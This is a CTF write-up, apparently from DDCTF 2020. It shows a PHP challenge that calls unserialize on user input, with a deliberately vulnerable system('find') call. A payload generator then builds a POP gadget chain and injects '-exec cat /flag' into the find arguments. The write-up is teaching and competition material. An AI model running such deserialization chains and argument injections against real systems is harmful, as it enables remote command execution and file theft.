1. Welcome to DDCTF 2020, Have fun!
  2. <?php
  3. error_reporting(0);
  4. class MyClass
  5. {
  6. var $kw0ng;
  7. var $flag;
  8. public function __wakeup()
  9. {
  10. $this->kw0ng = 2;
  11. }
  12. public function get_flag()
  13. {
  14. return system('find /HackersForever ' . escapeshellcmd($this->flag));
  15. }
  16. }
  17. class HintClass
  18. {
  19. protected $hint;
  20. public function execute($value)
  21. {
  22. include($value);
  23. }
  24. public function __invoke()
  25. {
  26. if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
  27. {
  28. die("Don't Do That!");
  29. }
  30. $this->execute($this->hint);
  31. }
  32. }
  33. class ShowOff
  34. {
  35. public $contents;
  36. public $page;
  37. public function __construct($file='/hint/hint.php')
  38. {
  39. $this->contents = $file;
  40. echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
  41. }
  42. public function __toString()
  43. {
  44. return $this->contents();
  45. }
  46. public function __wakeup()
  47. {
  48. $this->page->contents = "POP me! I can give you some hints!";
  49. unset($this->page->cont);
  50. }
  51. }
  52. class MiddleMan
  53. {
  54. private $cont;
  55. public $content;
  56. public function __construct()
  57. {
  58. $this->content = array();
  59. }
  60. public function __unset($key)
  61. {
  62. $func = $this->content;
  63. return $func();
  64. }
  65. }
  66. class Info
  67. {
  68. function __construct()
  69. {
  70. eval('phpinfo();');
  71. }
  72. }
  73. $show = new ShowOff();
  74. $bullet = $_GET['bullet'];
  75. if(!isset($bullet))
  76. {
  77. highlight_file(__FILE__);
  78. die("Give Me Something!");
  79. }else if($bullet == 'phpinfo')
  80. {
  81. $infos = new Info();
  82. }else
  83. {
  84. $obstacle1 = new stdClass;
  85. $obstacle2 = new stdClass;
  86. $mc = new MyClass();
  87. $mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
  88. @unserialize($bullet);
  89. echo $mc->get_flag();
  90. }
  91. Give Me Something!

方法一:

array()数组
image.png
image.png
paylod:

  1. <?php
  2. class MyClass {
  3. var $kw0ng;
  4. var $flag;
  5. }
  6. class HintClass {
  7. protected $hint;
  8. }
  9. class ShowOff {
  10. public $contents;
  11. public $page;
  12. }
  13. class MiddleMan {
  14. public $content;
  15. private $cont;
  16. }
  17. $showoff = new ShowOff();
  18. $myclass = new MyClass();
  19. $myclass->flag = '-exec cat /flag {} ;';
  20. $showoff->page = new MiddleMan();
  21. $showoff->page->content = [$myclass, 'get_flag'];
  22. $paylod = (serialize($showoff));
  23. print_r($paylod);